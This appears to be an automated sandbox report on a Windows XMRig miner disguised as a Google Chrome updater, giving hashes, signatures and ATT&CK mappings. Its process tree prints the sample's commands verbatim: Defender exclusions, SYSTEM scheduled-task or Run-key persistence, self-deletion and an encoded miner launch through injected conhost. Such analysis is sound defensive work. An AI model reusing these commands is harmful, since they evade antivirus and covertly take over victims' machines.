xmrig | 67fb42345c7c1d330bea4fe6e0d8695cc715af98dec4fbac9cac330831052642

max time kernel
464s
max time network
1797s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
24/01/2024, 17:21

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General

Target

qM5GMXBk6hJE6Y5e (20).exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2232 created 1360	2232	qM5GMXBk6hJE6Y5e (20).exe	6
PID 2232 created 1360	2232	qM5GMXBk6hJE6Y5e (20).exe	6
PID 2232 created 1360	2232	qM5GMXBk6hJE6Y5e (20).exe	6
PID 2232 created 1360	2232	qM5GMXBk6hJE6Y5e (20).exe	6
PID 2152 created 1360	2152	updater.exe	6
PID 2152 created 1360	2152	updater.exe	6
PID 2152 created 1360	2152	updater.exe	6
PID 2152 created 1360	2152	updater.exe	6
PID 1060 created 1360	1060	conhost.exe	6
PID 2152 created 1360	2152	updater.exe	6

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

resource	yara_rule
behavioral11/memory/1736-68-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1736-70-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1736-74-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1736-81-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1736-83-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1736-85-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1736-87-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1736-89-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1736-91-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1736-93-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1736-95-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1736-97-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1736-99-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1736-101-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1736-103-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1736-105-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1736-107-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1736-109-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1736-111-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1736-113-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1736-115-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1736-117-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1736-119-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1736-121-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1736-123-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1736-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1736-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1736-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1736-131-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2692	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2152	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
1984	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral11/memory/1736-63-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1736-68-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1736-70-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1736-74-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1736-81-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1736-83-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1736-85-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1736-87-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1736-89-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1736-91-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1736-93-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1736-95-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1736-97-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1736-99-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1736-101-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1736-103-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1736-105-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1736-107-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1736-109-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1736-111-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1736-113-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1736-115-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1736-117-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1736-119-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1736-121-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1736-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1736-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1736-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1736-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1736-131-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2152 set thread context of 1060	2152	updater.exe	52
PID 2152 set thread context of 1736	2152	updater.exe	53

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	qM5GMXBk6hJE6Y5e (20).exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2584	schtasks.exe
2912	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1936	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 6003ba4df14eda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2232	qM5GMXBk6hJE6Y5e (20).exe
2232	qM5GMXBk6hJE6Y5e (20).exe
2240	powershell.exe
2232	qM5GMXBk6hJE6Y5e (20).exe
2232	qM5GMXBk6hJE6Y5e (20).exe
2596	powershell.exe
2232	qM5GMXBk6hJE6Y5e (20).exe
2232	qM5GMXBk6hJE6Y5e (20).exe
2232	qM5GMXBk6hJE6Y5e (20).exe
2232	qM5GMXBk6hJE6Y5e (20).exe
1744	powershell.exe
2152	updater.exe
2152	updater.exe
2340	powershell.exe
2152	updater.exe
2152	updater.exe
1636	powershell.exe
2152	updater.exe
2152	updater.exe
2152	updater.exe
2152	updater.exe
1060	conhost.exe
1060	conhost.exe
2152	updater.exe
2152	updater.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2240	powershell.exe
Token: SeDebugPrivilege	2596	powershell.exe
Token: SeDebugPrivilege	1744	powershell.exe
Token: SeDebugPrivilege	2340	powershell.exe
Token: SeDebugPrivilege	1636	powershell.exe
Token: SeDebugPrivilege	2152	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1936	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1936	WMIC.exe
Token: SeSecurityPrivilege	1936	WMIC.exe
Token: SeTakeOwnershipPrivilege	1936	WMIC.exe
Token: SeLoadDriverPrivilege	1936	WMIC.exe
Token: SeSystemtimePrivilege	1936	WMIC.exe
Token: SeBackupPrivilege	1936	WMIC.exe
Token: SeRestorePrivilege	1936	WMIC.exe
Token: SeShutdownPrivilege	1936	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1936	WMIC.exe
Token: SeUndockPrivilege	1936	WMIC.exe
Token: SeManageVolumePrivilege	1936	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1936	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1936	WMIC.exe
Token: SeSecurityPrivilege	1936	WMIC.exe
Token: SeTakeOwnershipPrivilege	1936	WMIC.exe
Token: SeLoadDriverPrivilege	1936	WMIC.exe
Token: SeSystemtimePrivilege	1936	WMIC.exe
Token: SeBackupPrivilege	1936	WMIC.exe
Token: SeRestorePrivilege	1936	WMIC.exe
Token: SeShutdownPrivilege	1936	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1936	WMIC.exe
Token: SeUndockPrivilege	1936	WMIC.exe
Token: SeManageVolumePrivilege	1936	WMIC.exe
Token: SeLockMemoryPrivilege	1736	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2596 wrote to memory of 2584	2596	powershell.exe	32
PID 2596 wrote to memory of 2584	2596	powershell.exe	32
PID 2596 wrote to memory of 2584	2596	powershell.exe	32
PID 2692 wrote to memory of 2616	2692	cmd.exe	35
PID 2692 wrote to memory of 2616	2692	cmd.exe	35
PID 2692 wrote to memory of 2616	2692	cmd.exe	35
PID 1744 wrote to memory of 2528	1744	powershell.exe	38
PID 1744 wrote to memory of 2528	1744	powershell.exe	38
PID 1744 wrote to memory of 2528	1744	powershell.exe	38
PID 1984 wrote to memory of 2152	1984	taskeng.exe	40
PID 1984 wrote to memory of 2152	1984	taskeng.exe	40
PID 1984 wrote to memory of 2152	1984	taskeng.exe	40
PID 1636 wrote to memory of 2912	1636	powershell.exe	45
PID 1636 wrote to memory of 2912	1636	powershell.exe	45
PID 1636 wrote to memory of 2912	1636	powershell.exe	45
PID 2152 wrote to memory of 1060	2152	updater.exe	52
PID 1096 wrote to memory of 1936	1096	cmd.exe	46
PID 1096 wrote to memory of 1936	1096	cmd.exe	46
PID 1096 wrote to memory of 1936	1096	cmd.exe	46
PID 2152 wrote to memory of 1736	2152	updater.exe	53

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1360
- C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (20).exe
  "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (20).exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2232
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2240
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2596
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2584
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (20).exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2692
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1744
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2340
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1636
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2912
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1456
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:1096
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:1060
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1736

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2616

C:\Windows\system32\taskeng.exe
taskeng.exe {9164FE63-1F26-4CF8-8A4C-3CC19F1BD4E9} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1984
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2152

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
1⤵
PID:2528

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1936

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
697KB

MD5
b7bd88d5586b7f96d2a32830373e4382

SHA1
fb314f95a2dd607d7bcfbd5865f6fee980a2db18

SHA256
6dbaf0bde730a244bbf48f1a97d4cea2770681726c457c7a32e1cff2a0e43e38

SHA512
68d9dcbd98a5191c86806a7dbcbd62d46c709c74f3593389badc268b4b2914b8fd92415bc91947680c3affaaeed9cf6cb188f1188a2c1bfd67e50ab5edf27acf

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
656KB

MD5
f0f6dd1cd5de07a387e272e77a9399e1

SHA1
f688c44026f1dc56066f1468f8c8054e034bf0c7

SHA256
2f7f8b7ef924016f91a54f8a4e218d4606fa48c45f24c633b6fed9fae472eca8

SHA512
5ef238058dece8c5179d312ebfcb8cfc5047798b7cf565a8428a6dee92b804695a31e7e87fcd39a54ba2b14383b3b61d2ec9d02248719cce2699bf6ad3e6b0f4

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\H11X45GZKBTP8M5MVFTL.temp

Filesize
7KB

MD5
9a06f5357d7f3ebb8332af41fcfdd6c6

SHA1
919a7448b3bc832ab8036660f89799cf2b2af732

SHA256
8f3bcfa8773e2f49dc1a0e3aa24e6f7ae9476b00a500fb86705e2e795a2b0a2e

SHA512
74b8ccc56d3c24d1339cd2e833b9d29324d12b694495856ff5f2812b76a37ef85d167e5457bf82d0af132c2dbd92fd88443008828c5107ce3a177682d80d8a37

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
567KB

MD5
c2da58137fcdc1c64fff9248b231307e

SHA1
d29122e3148141286e7097848a5f77819018e17e

SHA256
1a703bae66dd1f39011a0cca6343bbe135b00124d1898248d25e681fef4c088f

SHA512
756cc0201db8895b88cb75b1d613d667022eb288e398daaa3879a8fd3c433e72a796db8e52cf71ecc37839957e1947e933a22770430c22b64bd2ccb69c086730

Download Submit
memory/1060-67-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1060-73-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1636-53-0x0000000000D40000-0x0000000000DC0000-memory.dmp

Filesize
512KB

Download
memory/1636-52-0x000007FEF5680000-0x000007FEF601D000-memory.dmp

Filesize
9.6MB

Download
memory/1636-55-0x000007FEF5680000-0x000007FEF601D000-memory.dmp

Filesize
9.6MB

Download
memory/1636-54-0x0000000000D40000-0x0000000000DC0000-memory.dmp

Filesize
512KB

Download
memory/1636-51-0x0000000000D40000-0x0000000000DC0000-memory.dmp

Filesize
512KB

Download
memory/1636-50-0x000007FEF5680000-0x000007FEF601D000-memory.dmp

Filesize
9.6MB

Download
memory/1736-91-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1736-95-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1736-131-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1736-129-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1736-127-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1736-125-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1736-123-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1736-121-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1736-119-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1736-117-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1736-115-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1736-113-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1736-111-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1736-109-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1736-107-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1736-105-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1736-103-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1736-101-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1736-99-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1736-97-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1736-93-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1736-89-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1736-87-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1736-85-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1736-83-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1736-81-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1736-74-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1736-72-0x0000000000250000-0x0000000000270000-memory.dmp

Filesize
128KB

Download
memory/1736-63-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1736-71-0x0000000000230000-0x0000000000250000-memory.dmp

Filesize
128KB

Download
memory/1736-64-0x00000000000B0000-0x00000000000D0000-memory.dmp

Filesize
128KB

Download
memory/1736-70-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1736-68-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1736-65-0x0000000000230000-0x0000000000250000-memory.dmp

Filesize
128KB

Download
memory/1736-66-0x0000000000250000-0x0000000000270000-memory.dmp

Filesize
128KB

Download
memory/1744-33-0x000007FEF5680000-0x000007FEF601D000-memory.dmp

Filesize
9.6MB

Download
memory/1744-34-0x00000000028C0000-0x0000000002940000-memory.dmp

Filesize
512KB

Download
memory/1744-37-0x00000000028C0000-0x0000000002940000-memory.dmp

Filesize
512KB

Download
memory/1744-36-0x00000000028C0000-0x0000000002940000-memory.dmp

Filesize
512KB

Download
memory/1744-35-0x000007FEF5680000-0x000007FEF601D000-memory.dmp

Filesize
9.6MB

Download
memory/1744-38-0x000007FEF5680000-0x000007FEF601D000-memory.dmp

Filesize
9.6MB

Download
memory/2152-62-0x000000013F570000-0x000000013F781000-memory.dmp

Filesize
2.1MB

Download
memory/2152-42-0x000000013F570000-0x000000013F781000-memory.dmp

Filesize
2.1MB

Download
memory/2232-0-0x000000013FFD0000-0x00000001401E1000-memory.dmp

Filesize
2.1MB

Download
memory/2232-27-0x000000013FFD0000-0x00000001401E1000-memory.dmp

Filesize
2.1MB

Download
memory/2240-12-0x000007FEF5680000-0x000007FEF601D000-memory.dmp

Filesize
9.6MB

Download
memory/2240-6-0x0000000002750000-0x0000000002758000-memory.dmp

Filesize
32KB

Download
memory/2240-7-0x000007FEF5680000-0x000007FEF601D000-memory.dmp

Filesize
9.6MB

Download
memory/2240-8-0x0000000002B40000-0x0000000002BC0000-memory.dmp

Filesize
512KB

Download
memory/2240-9-0x000007FEF5680000-0x000007FEF601D000-memory.dmp

Filesize
9.6MB

Download
memory/2240-5-0x000000001B430000-0x000000001B712000-memory.dmp

Filesize
2.9MB

Download
memory/2240-10-0x0000000002B40000-0x0000000002BC0000-memory.dmp

Filesize
512KB

Download
